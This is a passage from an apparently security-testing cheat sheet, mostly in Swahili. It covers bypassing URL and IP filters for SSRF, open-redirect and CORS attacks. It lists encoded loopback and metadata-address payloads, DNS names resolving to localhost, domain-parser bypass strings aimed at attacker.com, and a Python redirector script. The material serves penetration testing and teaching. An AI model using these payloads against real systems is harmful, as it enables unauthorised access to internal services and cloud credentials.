CIDR bypass

http://127.127.127.127 http://127.0.1.3 http://127.0.0.0

Dot bypass

127。0。0。1 127%E3%80%820%E3%80%820%E3%80%821

Decimal bypass

http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1

Octal Bypass

http://0177.0000.0000.0001 http://00000177.00000000.00000000.00000001 http://017700000001

Hexadecimal bypass

127.0.0.1 = 0x7f 00 00 01 http://0x7f000001/ = http://127.0.0.1 http://0xc0a80014/ = http://192.168.0.20 0x7f.0x00.0x00.0x01 0x0000007f.0x00000000.0x00000000.0x00000001

Mixed encodings bypass

169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number 0xA9.254.0251.0376 -> hexadecimal, decimal and octal

Add 0s bypass

127.000000000000.1

You can also mix different encoding formats

https://www.silisoftware.com/tools/ipconverter.php

Malformed and rare

localhost:+11211aaa localhost:00011211aaaa http://0/ http://127.1 http://127.0.1

DNS to localhost

localtest.me = 127.0.0.1 customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1 mail.ebc.apple.com = 127.0.0.6 (localhost) 127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP) www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com http://customer1.app.localhost.my.company.127.0.0.1.nip.io http://bugbounty.dod.network = 127.0.0.2 (localhost) 1ynrnhl.xip.io == 169.254.169.254 spoofed.burpcollaborator.net = 127.0.0.1

</details>

![](<../../images/image (776).png>)

**Kiendelezi cha Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) kinatekeleza bypasses za format ya IP.

### Parser ya domain

<details>
<summary>Bypass za parser ya domain</summary>
```bash
https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
http://169.254.1698.254\@attacker.com
attacker%00.com
attacker%E3%80%82com
attacker。com
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
# double encoded fragment to bypass split("#"): attacker.com%2523@victim

On each IP position try to put 1 attackers domain and the others the victim domain

http://1.1.1.1 &@2.2.2.2# @3.3.3.3/

Parameter pollution

next={domain}&next=attacker.com

</details>

### Njia na Extensions Bypass

Ikiwa inahitajika kwamba URL lazima iishe kwa njia (path) au extension, au lazima iwe na njia, unaweza kujaribu mojawapo ya bypass zifuatazo:

https://metadata/vulnerable/path#/expected/path https://metadata/vulnerable/path#.extension https://metadata/expected/path/..%2f..%2f/vulnerable/path

### Fuzzing

The tool [**recollapse**](https://github.com/0xacb/recollapse) inaweza kutengeneza mabadiliko kutoka kwa ingizo ililotolewa ili kujaribu kupita regex inayotumiwa. Angalia [**this post**](https://0xacb.com/2022/11/21/recollapse/) pia kwa taarifa zaidi.

### Orodha za maneno za kibinafsi za kiotomatiki

Angalia webapp ya [**URL validation bypass cheat sheet**](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) kutoka portswigger ambapo unaweza kuingiza host iliyoruhusiwa na host ya mshambuliaji na itaunda orodha ya URL za kujaribu kwa ajili yako. Pia inazingatia kama unaweza kutumia URL ndani ya parameter, kwenye Host header au kwenye CORS header.


<a class="content_ref" href="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet"><span class="content_ref_label">URL validation bypass cheat sheet for SSRF/CORS/Redirect - 2024 Edition | Web Security Academy</span></a>

### Kupitia redirect

Inawezekana kwamba server inakuwa **inachuja request ya awali** ya SSRF **lakini si** jibu la **redirect** linaloweza kutokea kwa request hiyo.\
Kwa mfano, server iliyo dhaifu kwa SSRF kupitia: `url=https://www.google.com/` inaweza kuwa **inachuja param ya url**. Lakini ikiwa utatumia [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) kwenda mahali unapotaka ku-redirect, unaweza kuwa na uwezo wa **kupata anwani za IP zilizochujwa** kama 127.0.0.1 au hata **protocols** zilizochujwa kama gopher.\
[Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)

<details>
<summary>Redirector rahisi kwa kujaribu SSRF</summary>
```python
#!/usr/bin/env python3

#python3 ./redirector.py 8000 http://127.0.0.1/

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()

class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()